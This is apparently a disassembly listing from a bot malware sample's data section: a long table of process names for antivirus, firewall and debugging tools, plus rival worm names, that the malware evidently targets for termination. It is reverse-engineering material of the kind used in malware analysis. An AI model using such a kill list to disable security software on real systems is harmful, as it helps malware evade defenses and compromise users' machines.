dd offset aNetscanpro_exe ; "NETSCANPRO.EXE"
dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE"
dd offset aNetstat_exe ; "NETSTAT.EXE"
dd offset aNetutils_exe ; "NETUTILS.EXE"
dd offset aNisserv_exe ; "NISSERV.EXE"
dd offset aNisum_exe ; "NISUM.EXE"
dd offset aNmain_exe ; "NMAIN.EXE"
dd offset aNod32_exe ; "NOD32.EXE"
dd offset aNormist_exe ; "NORMIST.EXE"
dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE"
dd offset aNotstart_exe ; "NOTSTART.EXE"
dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE"
dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE"
dd offset aNprotect_exe ; "NPROTECT.EXE"
dd offset aNpscheck_exe ; "NPSCHECK.EXE"
dd offset aNpssvc_exe ; "NPSSVC.EXE"
dd offset aNsched32_exe ; "NSCHED32.EXE"
dd offset aNssys32_exe ; "NSSYS32.EXE"
dd offset aNstask32_exe ; "NSTASK32.EXE"
dd offset aNsupdate_exe ; "NSUPDATE.EXE"
dd offset aNt_exe ; "NT.EXE"
dd offset aNtrtscan_exe ; "NTRTSCAN.EXE"
dd offset aNtvdm_exe ; "NTVDM.EXE"
dd offset aNtxconfig_exe ; "NTXconfig.EXE"
dd offset aNui_exe ; "NUI.EXE"
dd offset aNupgrade_exe ; "NUPGRADE.EXE"
dd offset aNupgrade_exe ; "NUPGRADE.EXE"
dd offset aNvarch16_exe ; "NVARCH16.EXE"
dd offset aNvc95_exe ; "NVC95.EXE"
dd offset aNvsvc32_exe ; "NVSVC32.EXE"
dd offset aNwinst4_exe ; "NWINST4.EXE"
dd offset aNwservice_exe ; "NWSERVICE.EXE"
dd offset aNwtool16_exe ; "NWTOOL16.EXE"
dd offset aOllydbg_exe ; "OLLYDBG.EXE"
dd offset aOnsrvr_exe ; "ONSRVR.EXE"
dd offset aOptimize_exe ; "OPTIMIZE.EXE"
dd offset aOstronet_exe ; "OSTRONET.EXE"
dd offset aOtfix_exe ; "OTFIX.EXE"
dd offset aOutpost_exe ; "OUTPOST.EXE"
dd offset aOutpost_exe ; "OUTPOST.EXE"
dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE"
dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE"
dd offset aPadmin_exe ; "PADMIN.EXE"
dd offset aPanixk_exe ; "PANIXK.EXE"
dd offset aPatch_exe ; "PATCH.EXE"
dd offset aPavcl_exe ; "PAVCL.EXE"
dd offset aPavproxy_exe ; "PAVPROXY.EXE"
dd offset aPavsched_exe ; "PAVSCHED.EXE"
dd offset aPavw_exe ; "PAVW.EXE"
dd offset aPcc2002s902_ex ; "PCC2002S902.EXE"
dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE"
dd offset aPcciomon_exe ; "PCCIOMON.EXE"
dd offset aPccntmon_exe ; "PCCNTMON.EXE"
dd offset aPccwin97_exe ; "PCCWIN97.EXE"
dd offset aPccwin98_exe ; "PCCWIN98.EXE"
dd offset aPcdsetup_exe ; "PCDSETUP.EXE"
dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE"
dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE"
dd offset aPcscan_exe ; "PCSCAN.EXE"
dd offset aPdsetup_exe ; "PDSETUP.EXE"
dd offset aPenis_exe ; "PENIS.EXE"
dd offset aPeriscope_exe ; "PERISCOPE.EXE"
dd offset aPersfw_exe ; "PERSFW.EXE"
dd offset aPerswf_exe ; "PERSWF.EXE"
dd offset aPf2_exe ; "PF2.EXE"
dd offset aPfwadmin_exe ; "PFWADMIN.EXE"
dd offset aPgmonitr_exe ; "PGMONITR.EXE"
dd offset aPingscan_exe ; "PINGSCAN.EXE"
dd offset aPlatin_exe ; "PLATIN.EXE"
dd offset aPop3trap_exe ; "POP3TRAP.EXE"
dd offset aPoproxy_exe ; "POPROXY.EXE"
dd offset aPopscan_exe ; "POPSCAN.EXE"
dd offset aPortdetective_ ; "PORTDETECTIVE.EXE"
dd offset aPortmonitor_ex ; "PORTMONITOR.EXE"
dd offset aPowerscan_exe ; "POWERSCAN.EXE"
dd offset aPpinupdt_exe ; "PPINUPDT.EXE"
dd offset aPptbc_exe ; "PPTBC.EXE"
dd offset aPpvstop_exe ; "PPVSTOP.EXE"
dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE"
dd offset aPrmt_exe ; "PRMT.EXE"
dd offset aPrmvr_exe ; "PRMVR.EXE"
dd offset aProcdump_exe ; "PROCDUMP.EXE"
dd offset aProcessmonitor ; "PROCESSMONITOR.EXE"
dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE"
dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE"
dd offset aProport_exe ; "PROPORT.EXE"
dd offset aProtectx_exe ; "PROTECTX.EXE"
dd offset aPspf_exe ; "PSPF.EXE"
dd offset aPurge_exe ; "PURGE.EXE"
dd offset aPussy_exe ; "PUSSY.EXE"
dd offset aPview95_exe ; "PVIEW95.EXE"
dd offset aQconsole_exe ; "QCONSOLE.EXE"
dd offset aQserver_exe ; "QSERVER.EXE"
dd offset aRapapp_exe ; "RAPAPP.EXE"
dd offset aRav7_exe ; "RAV7.EXE"
dd offset aRav7win_exe ; "RAV7WIN.EXE"
dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE"
dd offset aRay_exe ; "RAY.EXE"
dd offset aRb32_exe ; "RB32.EXE"
dd offset aRcsync_exe ; "RCSYNC.EXE"
dd offset aRealmon_exe ; "REALMON.EXE"
dd offset aReged_exe ; "REGED.EXE"
dd offset aRegedit_exe ; "REGEDIT.EXE"
dd offset aRegedt32_exe ; "REGEDT32.EXE"
dd offset aRescue_exe ; "RESCUE.EXE"
dd offset aRescue32_exe ; "RESCUE32.EXE"
dd offset aRrguard_exe ; "RRGUARD.EXE"
dd offset aRshell_exe ; "RSHELL.EXE"
dd offset aRtvscan_exe ; "RTVSCAN.EXE"
dd offset aRtvscn95_exe ; "RTVSCN95.EXE"
dd offset aRulaunch_exe ; "RULAUNCH.EXE"
dd offset aRun32dll_exe ; "RUN32DLL.EXE"
dd offset aRundll_exe ; "RUNDLL.EXE"
dd offset aRundll16_exe ; "RUNDLL16.EXE"
dd offset aRuxdll32_exe ; "RUXDLL32.EXE"
dd offset aSafeweb_exe ; "SAFEWEB.EXE"
dd offset aSahagent_exe ; "SAHAGENT.EXE"
dd offset aSave_exe ; "SAVE.EXE"
dd offset aSavenow_exe ; "SAVENOW.EXE"
dd offset aSbserv_exe ; "SBSERV.EXE"
dd offset aSc_exe ; "SC.EXE"
dd offset aScam32_exe ; "SCAM32.EXE"
dd offset aScan32_exe ; "SCAN32.EXE"
dd offset aScan95_exe ; "SCAN95.EXE"
dd offset aScanpm_exe ; "SCANPM.EXE"
dd offset aScrscan_exe ; "SCRSCAN.EXE"
dd offset aScrsvr_exe ; "SCRSVR.EXE"
dd offset aScvhost_exe ; "SCVHOST.EXE"
dd offset aSd_exe ; "SD.EXE"
dd offset aServ95_exe ; "SERV95.EXE"
dd offset aService_exe ; "SERVICE.EXE"
dd offset aServlce_exe ; "SERVLCE.EXE"
dd offset aServlces_exe ; "SERVLCES.EXE"
dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE"
dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE"
dd offset aSfc_exe ; "SFC.EXE"
dd offset aSgssfw32_exe ; "SGSSFW32.EXE"
dd offset aSh_exe ; "SH.EXE"
dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE"
dd offset aShn_exe ; "SHN.EXE"
dd offset aShowbehind_exe ; "SHOWBEHIND.EXE"
dd offset aSmc_exe ; "SMC.EXE"
dd offset aSms_exe ; "SMS.EXE"
dd offset aSmss32_exe ; "SMSS32.EXE"
dd offset aSoap_exe ; "SOAP.EXE"
dd offset aSofi_exe ; "SOFI.EXE"
dd offset aSperm_exe ; "SPERM.EXE"
dd offset aSpf_exe ; "SPF.EXE"
dd offset aSphinx_exe ; "SPHINX.EXE"
dd offset aSpoler_exe ; "SPOLER.EXE"
dd offset aSpoolcv_exe ; "SPOOLCV.EXE"
dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE"
dd offset aSpyxx_exe ; "SPYXX.EXE"
dd offset aSrexe_exe ; "SREXE.EXE"
dd offset aSrng_exe ; "SRNG.EXE"
dd offset aSs3edit_exe ; "SS3EDIT.EXE"
dd offset aSsgrate_exe ; "SSGRATE.EXE"
dd offset aSsg_4104_exe ; "SSG_4104.EXE"
dd offset aSt2_exe ; "ST2.EXE"
dd offset aStart_exe ; "START.EXE"
dd offset aStcloader_exe ; "STCLOADER.EXE"
dd offset aSupftrl_exe ; "SUPFTRL.EXE"
dd offset aSupport_exe ; "SUPPORT.EXE"
dd offset aSupporter5_exe ; "SUPPORTER5.EXE"
dd offset aSvc_exe ; "SVC.EXE"
dd offset aSvchostc_exe ; "SVCHOSTC.EXE"
dd offset aSvchosts_exe ; "SVCHOSTS.EXE"
dd offset aSvshost_exe ; "SVSHOST.EXE"
dd offset aSweep95_exe ; "SWEEP95.EXE"
dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE"
dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE"
dd offset aSymtray_exe ; "SYMTRAY.EXE"
dd offset aSysedit_exe ; "SYSEDIT.EXE"
dd offset aSystem_exe ; "SYSTEM.EXE"
dd offset aSystem32_exe ; "SYSTEM32.EXE"
dd offset aSysupd_exe ; "SYSUPD.EXE"
dd offset aTaskmg_exe ; "TASKMG.EXE"
dd offset aTaskmo_exe ; "TASKMO.EXE"
dd offset aTaskmon_exe ; "TASKMON.EXE"
dd offset aTaumon_exe ; "TAUMON.EXE"
dd offset aTbscan_exe ; "TBSCAN.EXE"
dd offset aTc_exe ; "TC.EXE"
dd offset aTca_exe ; "TCA.EXE"
dd offset aTcm_exe ; "TCM.EXE"
dd offset aTds3_exe ; "TDS-3.EXE"
dd offset aTds298_exe ; "TDS2-98.EXE"
dd offset aTds2Nt_exe ; "TDS2-NT.EXE"
dd offset aTeekids_exe ; "TEEKIDS.EXE"
dd offset aTfak_exe ; "TFAK.EXE"
dd offset aTfak5_exe ; "TFAK5.EXE"
dd offset aTgbob_exe ; "TGBOB.EXE"
dd offset aTitanin_exe ; "TITANIN.EXE"
dd offset aTitaninxp_exe ; "TITANINXP.EXE"
dd offset aTracert_exe ; "TRACERT.EXE"
dd offset aTrickler_exe ; "TRICKLER.EXE"
dd offset aTrjscan_exe ; "TRJSCAN.EXE"
dd offset aTrjsetup_exe ; "TRJSETUP.EXE"
dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE"
dd offset aTsadbot_exe ; "TSADBOT.EXE"
dd offset aTvmd_exe ; "TVMD.EXE"
dd offset aTvtmd_exe ; "TVTMD.EXE"
dd offset aUndoboot_exe ; "UNDOBOOT.EXE"
dd offset aUpdat_exe ; "UPDAT.EXE"
dd offset aUpdate_exe ; "UPDATE.EXE"
dd offset aUpdate_exe ; "UPDATE.EXE"
dd offset aUpgrad_exe ; "UPGRAD.EXE"
dd offset aUtpost_exe ; "UTPOST.EXE"
dd offset aVbcmserv_exe ; "VBCMSERV.EXE"
dd offset aVbcons_exe ; "VBCONS.EXE"
dd offset aVbust_exe ; "VBUST.EXE"
dd offset aVbwin9x_exe ; "VBWIN9X.EXE"
dd offset aVbwinntw_exe ; "VBWINNTW.EXE"
dd offset aVcsetup_exe ; "VCSETUP.EXE"
dd offset aVet32_exe ; "VET32.EXE"
dd offset aVet95_exe ; "VET95.EXE"
dd offset aVettray_exe ; "VETTRAY.EXE"
dd offset aVfsetup_exe ; "VFSETUP.EXE"
dd offset aVirHelp_exe ; "VIR-HELP.EXE"
dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE"
dd offset aVnlan300_exe ; "VNLAN300.EXE"
dd offset aVnpc3000_exe ; "VNPC3000.EXE"
dd offset aVpc32_exe ; "VPC32.EXE"
dd offset aVpc42_exe ; "VPC42.EXE"
dd offset aVpfw30s_exe ; "VPFW30S.EXE"
dd offset aVptray_exe ; "VPTRAY.EXE"
dd offset aVscan40_exe ; "VSCAN40.EXE"
dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE"
dd offset aVsched_exe ; "VSCHED.EXE"
dd offset aVsecomr_exe ; "VSECOMR.EXE"
dd offset aVshwin32_exe ; "VSHWIN32.EXE"
dd offset aVsisetup_exe ; "VSISETUP.EXE"
dd offset aVsmain_exe ; "VSMAIN.EXE"
dd offset aVsmon_exe ; "VSMON.EXE"
dd offset aVsstat_exe ; "VSSTAT.EXE"
dd offset aVswin9xe_exe ; "VSWIN9XE.EXE"
dd offset aVswinntse_exe ; "VSWINNTSE.EXE"
dd offset aVswinperse_exe ; "VSWINPERSE.EXE"
dd offset aW32dsm89_exe ; "W32DSM89.EXE"
dd offset aW9x_exe ; "W9X.EXE"
dd offset aWatchdog_exe ; "WATCHDOG.EXE"
dd offset aWebdav_exe ; "WEBDAV.EXE"
dd offset aWebscanx_exe ; "WEBSCANX.EXE"
dd offset aWebtrap_exe ; "WEBTRAP.EXE"
dd offset aWfindv32_exe ; "WFINDV32.EXE"
dd offset aWgfe95_exe ; "WGFE95.EXE"
dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE"
dd offset aWimmun32_exe ; "WIMMUN32.EXE"
dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE"
dd offset aWin32_exe ; "WIN32.EXE"
dd offset aWin32us_exe ; "WIN32US.EXE"
dd offset aWinactive_exe ; "WINACTIVE.EXE"
dd offset aWindow_exe ; "WINDOW.EXE"
dd offset aWindows_exe ; "WINDOWS.EXE"
dd offset aWininetd_exe ; "WININETD.EXE"
dd offset aWininit_exe ; "WININIT.EXE"
dd offset aWininitx_exe ; "WININITX.EXE"
dd offset aWinlogin_exe ; "WINLOGIN.EXE"
dd offset aWinmain_exe ; "WINMAIN.EXE"
dd offset aWinnet_exe ; "WINNET.EXE"
dd offset aWinppr32_exe ; "WINPPR32.EXE"
dd offset aWinrecon_exe ; "WINRECON.EXE"
dd offset aWinservn_exe ; "WINSERVN.EXE"
dd offset aWinssk32_exe ; "WINSSK32.EXE"
dd offset aWinstart_exe ; "WINSTART.EXE"
dd offset aWinstart001_ex ; "WINSTART001.EXE"
dd offset aWintsk32_exe ; "WINTSK32.EXE"
dd offset aWinupdate_exe ; "WINUPDATE.EXE"
dd offset aWkufind_exe ; "WKUFIND.EXE"
dd offset aWnad_exe ; "WNAD.EXE"
dd offset aWnt_exe ; "WNT.EXE"
dd offset aWradmin_exe ; "WRADMIN.EXE"
dd offset aWrctrl_exe ; "WRCTRL.EXE"
dd offset aWsbgate_exe ; "WSBGATE.EXE"
dd offset aWupdater_exe ; "WUPDATER.EXE"
dd offset aWupdt_exe ; "WUPDT.EXE"
dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE"
dd offset aXpf202en_exe ; "XPF202EN.EXE"
dd offset aZapro_exe ; "ZAPRO.EXE"
dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE"
dd offset aZatutor_exe ; "ZATUTOR.EXE"
dd offset aZonalm2601_exe ; "ZONALM2601.EXE"
dd offset aZonealarm_exe ; "ZONEALARM.EXE"
dd offset a_avp32_exe ; "_AVP32.EXE"
dd offset a_avpcc_exe ; "_AVPCC.EXE"
dd offset a_avpm_exe ; "_AVPM.EXE"
dd offset aHijackthis_exe ; "HIJACKTHIS.EXE"
dd offset aFAgobot_exe ; "F-AGOBOT.EXE"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset dword_438C9C
dd offset dword_438C90
dd offset dword_438C84
dd offset dword_438C78
dd offset dword_438C68
dd offset dword_438C5C
dd offset dword_438C50
dd offset dword_438C44
dd offset dword_438C38
dd offset dword_438C28
dd offset dword_438C1C
dd offset dword_438C0C
dword_438C0C dd 72313169h, 346E3435h, 6578652Eh, 0 ; ___:00438C08o
dword_438C1C dd 6E757269h, 78652E34h, 65hdword_438C28 dd 75643364h, 74616470h, 78652E65h, 65hdword_438C38 dd 65746172h, 6578652Eh, 0dword_438C44 dd 74617373h, 78652E65h, 65hdword_438C50 dd 736E6977h, 652E7379h, 6578hdword_438C5C dd 756E6977h, 652E6470h, 6578hdword_438C68 dd 4D737953h, 50586E6Fh, 6578652Eh, 0dword_438C78 dd 61656262h, 2E656C67h, 657865hdword_438C84 dd 696E6550h, 2E323373h, 657865hdword_438C90 dd 7663736Dh, 2E323362h, 657865hdword_438C9C dd 69737973h, 2E6F666Eh, 657865haPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00438BD8o
align 4
aFAgobot_exe db 'F-AGOBOT.EXE',0 ; DATA XREF: ___:00438BD4o
align 4
aHijackthis_exe db 'HIJACKTHIS.EXE',0 ; DATA XREF: ___:00438BD0o
align 4
a_avpm_exe db '_AVPM.EXE',0 ; DATA XREF: ___:00438BCCo
align 4
a_avpcc_exe db '_AVPCC.EXE',0 ; DATA XREF: ___:00438BC8o
align 4
a_avp32_exe db '_AVP32.EXE',0 ; DATA XREF: ___:00438BC4o
align 10h
aZonealarm_exe db 'ZONEALARM.EXE',0 ; DATA XREF: ___:00438BC0o
align 10h
aZonalm2601_exe db 'ZONALM2601.EXE',0 ; DATA XREF: ___:00438BBCo
align 10h
aZatutor_exe db 'ZATUTOR.EXE',0 ; DATA XREF: ___:00438BB8o
aZapsetup3001_e db 'ZAPSETUP3001.EXE',0 ; DATA XREF: ___:00438BB4o
align 10h
aZapro_exe db 'ZAPRO.EXE',0 ; DATA XREF: ___:00438BB0o
align 4
aXpf202en_exe db 'XPF202EN.EXE',0 ; DATA XREF: ___:00438BACo
align 4
aWyvernworksfir db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: ___:00438BA8o
aWupdt_exe db 'WUPDT.EXE',0 ; DATA XREF: ___:00438BA4o
align 10h
aWupdater_exe db 'WUPDATER.EXE',0 ; DATA XREF: ___:00438BA0o
align 10h
aWsbgate_exe db 'WSBGATE.EXE',0 ; DATA XREF: ___:00438B9Co
aWrctrl_exe db 'WRCTRL.EXE',0 ; DATA XREF: ___:00438B98o
align 4
aWradmin_exe db 'WRADMIN.EXE',0 ; DATA XREF: ___:00438B94o
aWnt_exe db 'WNT.EXE',0 ; DATA XREF: ___:00438B90o
aWnad_exe db 'WNAD.EXE',0 ; DATA XREF: ___:00438B8Co
align 4
aWkufind_exe db 'WKUFIND.EXE',0 ; DATA XREF: ___:00438B88o
aWinupdate_exe db 'WINUPDATE.EXE',0 ; DATA XREF: ___:00438B84o
align 4
aWintsk32_exe db 'WINTSK32.EXE',0 ; DATA XREF: ___:00438B80o
align 4
aWinstart001_ex db 'WINSTART001.EXE',0 ; DATA XREF: ___:00438B7Co
aWinstart_exe db 'WINSTART.EXE',0 ; DATA XREF: ___:00438B78o
align 4
aWinssk32_exe db 'WINSSK32.EXE',0 ; DATA XREF: ___:00438B74o
align 4
aWinservn_exe db 'WINSERVN.EXE',0 ; DATA XREF: ___:00438B70o
align 4
aWinrecon_exe db 'WINRECON.EXE',0 ; DATA XREF: ___:00438B6Co
align 4
aWinppr32_exe db 'WINPPR32.EXE',0 ; DATA XREF: ___:00438B68o
align 4
aWinnet_exe db 'WINNET.EXE',0 ; DATA XREF: ___:00438B64o
align 10h
aWinmain_exe db 'WINMAIN.EXE',0 ; DATA XREF: ___:00438B60o
aWinlogin_exe db 'WINLOGIN.EXE',0 ; DATA XREF: ___:00438B5Co
align 4
aWininitx_exe db 'WININITX.EXE',0 ; DATA XREF: ___:00438B58o
align 4
aWininit_exe db 'WININIT.EXE',0 ; DATA XREF: ___:00438B54o
aWininetd_exe db 'WININETD.EXE',0 ; DATA XREF: ___:00438B50o
align 4
aWindows_exe db 'WINDOWS.EXE',0 ; DATA XREF: ___:00438B4Co
aWindow_exe db 'WINDOW.EXE',0 ; DATA XREF: ___:00438B48o
align 10h
aWinactive_exe db 'WINACTIVE.EXE',0 ; DATA XREF: ___:00438B44o
align 10h
aWin32us_exe db 'WIN32US.EXE',0 ; DATA XREF: ___:00438B40o
aWin32_exe db 'WIN32.EXE',0 ; DATA XREF: ___:00438B3Co
align 4
aWinBugsfix_exe db 'WIN-BUGSFIX.EXE',0 ; DATA XREF: ___:00438B38o
aWimmun32_exe db 'WIMMUN32.EXE',0 ; DATA XREF: ___:00438B34o
align 4
aWhoswatchingme db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: ___:00438B30o
align 4
aWgfe95_exe db 'WGFE95.EXE',0 ; DATA XREF: ___:00438B2Co
align 4
aWfindv32_exe db 'WFINDV32.EXE',0 ; DATA XREF: ___:00438B28o
align 4
aWebtrap_exe db 'WEBTRAP.EXE',0 ; DATA XREF: ___:00438B24o
aWebscanx_exe db 'WEBSCANX.EXE',0 ; DATA XREF: ___:00438B20o
align 4
aWebdav_exe db 'WEBDAV.EXE',0 ; DATA XREF: ___:00438B1Co
align 10h
aWatchdog_exe db 'WATCHDOG.EXE',0 ; DATA XREF: ___:00438B18o
align 10h
aW9x_exe db 'W9X.EXE',0 ; DATA XREF: ___:00438B14o
aW32dsm89_exe db 'W32DSM89.EXE',0 ; DATA XREF: ___:00438B10o
align 4
aVswinperse_exe db 'VSWINPERSE.EXE',0 ; DATA XREF: ___:00438B0Co
align 4
aVswinntse_exe db 'VSWINNTSE.EXE',0 ; DATA XREF: ___:00438B08o
align 4
aVswin9xe_exe db 'VSWIN9XE.EXE',0 ; DATA XREF: ___:00438B04o
align 4
aVsstat_exe db 'VSSTAT.EXE',0 ; DATA XREF: ___:00438B00o
align 4
aVsmon_exe db 'VSMON.EXE',0 ; DATA XREF: ___:00438AFCo
align 10h
aVsmain_exe db 'VSMAIN.EXE',0 ; DATA XREF: ___:00438AF8o
align 4
aVsisetup_exe db 'VSISETUP.EXE',0 ; DATA XREF: ___:00438AF4o
align 4
aVshwin32_exe db 'VSHWIN32.EXE',0 ; DATA XREF: ___:00438AF0o
align 4
aVsecomr_exe db 'VSECOMR.EXE',0 ; DATA XREF: ___:00438AECo
aVsched_exe db 'VSCHED.EXE',0 ; DATA XREF: ___:00438AE8o
align 4
aVscenu6_02d30_ db 'VSCENU6.02D30.EXE',0 ; DATA XREF: ___:00438AE4o
align 4
aVscan40_exe db 'VSCAN40.EXE',0 ; DATA XREF: ___:00438AE0o
aVptray_exe db 'VPTRAY.EXE',0 ; DATA XREF: ___:00438ADCo
align 10h
aVpfw30s_exe db 'VPFW30S.EXE',0 ; DATA XREF: ___:00438AD8o
aVpc42_exe db 'VPC42.EXE',0 ; DATA XREF: ___:00438AD4o
align 4
aVpc32_exe db 'VPC32.EXE',0 ; DATA XREF: ___:00438AD0o
align 4
aVnpc3000_exe db 'VNPC3000.EXE',0 ; DATA XREF: ___:00438ACCo
align 4
aVnlan300_exe db 'VNLAN300.EXE',0 ; DATA XREF: ___:00438AC8o
align 4
aVirusmdpersona db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: ___:00438AC4o
aVirHelp_exe db 'VIR-HELP.EXE',0 ; DATA XREF: ___:00438AC0o
align 10h
aVfsetup_exe db 'VFSETUP.EXE',0 ; DATA XREF: ___:00438ABCo
aVettray_exe db 'VETTRAY.EXE',0 ; DATA XREF: ___:00438AB8o
aVet95_exe db 'VET95.EXE',0 ; DATA XREF: ___:00438AB4o
align 4
aVet32_exe db 'VET32.EXE',0 ; DATA XREF: ___:00438AB0o
align 10h
aVcsetup_exe db 'VCSETUP.EXE',0 ; DATA XREF: ___:00438AACo
aVbwinntw_exe db 'VBWINNTW.EXE',0 ; DATA XREF: ___:00438AA8o
align 4
aVbwin9x_exe db 'VBWIN9X.EXE',0 ; DATA XREF: ___:00438AA4o
aVbust_exe db 'VBUST.EXE',0 ; DATA XREF: ___:00438AA0o
align 4
aVbcons_exe db 'VBCONS.EXE',0 ; DATA XREF: ___:00438A9Co
align 10h
aVbcmserv_exe db 'VBCMSERV.EXE',0 ; DATA XREF: ___:00438A98o
align 10h
aUtpost_exe db 'UTPOST.EXE',0 ; DATA XREF: ___:00438A94o
align 4
aUpgrad_exe db 'UPGRAD.EXE',0 ; DATA XREF: ___:00438A90o
align 4
aUpdate_exe db 'UPDATE.EXE',0 ; DATA XREF: ___:00438A88o
; ___:00438A8Co
align 4
aUpdat_exe db 'UPDAT.EXE',0 ; DATA XREF: ___:00438A84o
align 10h
aUndoboot_exe db 'UNDOBOOT.EXE',0 ; DATA XREF: ___:00438A80o
align 10h
aTvtmd_exe db 'TVTMD.EXE',0 ; DATA XREF: ___:00438A7Co
align 4
aTvmd_exe db 'TVMD.EXE',0 ; DATA XREF: ___:00438A78o
align 4
aTsadbot_exe db 'TSADBOT.EXE',0 ; DATA XREF: ___:00438A74o
aTrojantrap3_ex db 'TROJANTRAP3.EXE',0 ; DATA XREF: ___:00438A70o
aTrjsetup_exe db 'TRJSETUP.EXE',0 ; DATA XREF: ___:00438A6Co
align 4
aTrjscan_exe db 'TRJSCAN.EXE',0 ; DATA XREF: ___:00438A68o
aTrickler_exe db 'TRICKLER.EXE',0 ; DATA XREF: ___:00438A64o
align 10h
aTracert_exe db 'TRACERT.EXE',0 ; DATA XREF: ___:00438A60o
aTitaninxp_exe db 'TITANINXP.EXE',0 ; DATA XREF: ___:00438A5Co
align 4
aTitanin_exe db 'TITANIN.EXE',0 ; DATA XREF: ___:00438A58o
aTgbob_exe db 'TGBOB.EXE',0 ; DATA XREF: ___:00438A54o
align 4
aTfak5_exe db 'TFAK5.EXE',0 ; DATA XREF: ___:00438A50o
align 10h
aTfak_exe db 'TFAK.EXE',0 ; DATA XREF: ___:00438A4Co
align 4
aTeekids_exe db 'TEEKIDS.EXE',0 ; DATA XREF: ___:00438A48o
aTds2Nt_exe db 'TDS2-NT.EXE',0 ; DATA XREF: ___:00438A44o
aTds298_exe db 'TDS2-98.EXE',0 ; DATA XREF: ___:00438A40o
aTds3_exe db 'TDS-3.EXE',0 ; DATA XREF: ___:00438A3Co
align 4
aTcm_exe db 'TCM.EXE',0 ; DATA XREF: ___:00438A38o
aTca_exe db 'TCA.EXE',0 ; DATA XREF: ___:00438A34o
aTc_exe db 'TC.EXE',0 ; DATA XREF: ___:00438A30o
align 4
aTbscan_exe db 'TBSCAN.EXE',0 ; DATA XREF: ___:00438A2Co
align 10h
aTaumon_exe db 'TAUMON.EXE',0 ; DATA XREF: ___:00438A28o
align 4
aTaskmon_exe db 'TASKMON.EXE',0 ; DATA XREF: ___:00438A24o
aTaskmo_exe db 'TASKMO.EXE',0 ; DATA XREF: ___:00438A20o
align 4
aTaskmg_exe db 'TASKMG.EXE',0 ; DATA XREF: ___:00438A1Co
align 10h
aSysupd_exe db 'SYSUPD.EXE',0 ; DATA XREF: ___:00438A18o
align 4
aSystem32_exe db 'SYSTEM32.EXE',0 ; DATA XREF: ___:00438A14o
align 4
aSystem_exe db 'SYSTEM.EXE',0 ; DATA XREF: ___:00438A10o
align 4
aSysedit_exe db 'SYSEDIT.EXE',0 ; DATA XREF: ___:00438A0Co
aSymtray_exe db 'SYMTRAY.EXE',0 ; DATA XREF: ___:00438A08o
aSymproxysvc_ex db 'SYMPROXYSVC.EXE',0 ; DATA XREF: ___:00438A04o
aSweepnet_sweep db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: ___:00438A00o
align 4
aSweep95_exe db 'SWEEP95.EXE',0 ; DATA XREF: ___:004389FCo
aSvshost_exe db 'SVSHOST.EXE',0 ; DATA XREF: ___:004389F8o
aSvchosts_exe db 'SVCHOSTS.EXE',0 ; DATA XREF: ___:004389F4o
align 4
aSvchostc_exe db 'SVCHOSTC.EXE',0 ; DATA XREF: ___:004389F0o
align 4
aSvc_exe db 'SVC.EXE',0 ; DATA XREF: ___:004389ECo
aSupporter5_exe db 'SUPPORTER5.EXE',0 ; DATA XREF: ___:004389E8o
align 4
aSupport_exe db 'SUPPORT.EXE',0 ; DATA XREF: ___:004389E4o
aSupftrl_exe db 'SUPFTRL.EXE',0 ; DATA XREF: ___:004389E0o
aStcloader_exe db 'STCLOADER.EXE',0 ; DATA XREF: ___:004389DCo
align 4
aStart_exe db 'START.EXE',0 ; DATA XREF: ___:004389D8o
align 4
aSt2_exe db 'ST2.EXE',0 ; DATA XREF: ___:004389D4o
aSsg_4104_exe db 'SSG_4104.EXE',0 ; DATA XREF: ___:004389D0o
align 10h
aSsgrate_exe db 'SSGRATE.EXE',0 ; DATA XREF: ___:004389CCo
aSs3edit_exe db 'SS3EDIT.EXE',0 ; DATA XREF: ___:004389C8o
aSrng_exe db 'SRNG.EXE',0 ; DATA XREF: ___:004389C4o
align 4
aSrexe_exe db 'SREXE.EXE',0 ; DATA XREF: ___:004389C0o
align 10h
aSpyxx_exe db 'SPYXX.EXE',0 ; DATA XREF: ___:004389BCo
align 4
aSpoolsv32_exe db 'SPOOLSV32.EXE',0 ; DATA XREF: ___:004389B8o
align 4
aSpoolcv_exe db 'SPOOLCV.EXE',0 ; DATA XREF: ___:004389B4o
aSpoler_exe db 'SPOLER.EXE',0 ; DATA XREF: ___:004389B0o
align 4
aSphinx_exe db 'SPHINX.EXE',0 ; DATA XREF: ___:004389ACo
align 10h
aSpf_exe db 'SPF.EXE',0 ; DATA XREF: ___:004389A8o
aSperm_exe db 'SPERM.EXE',0 ; DATA XREF: ___:004389A4o
align 4
aSofi_exe db 'SOFI.EXE',0 ; DATA XREF: ___:004389A0o
align 10h
aSoap_exe db 'SOAP.EXE',0 ; DATA XREF: ___:0043899Co
align 4
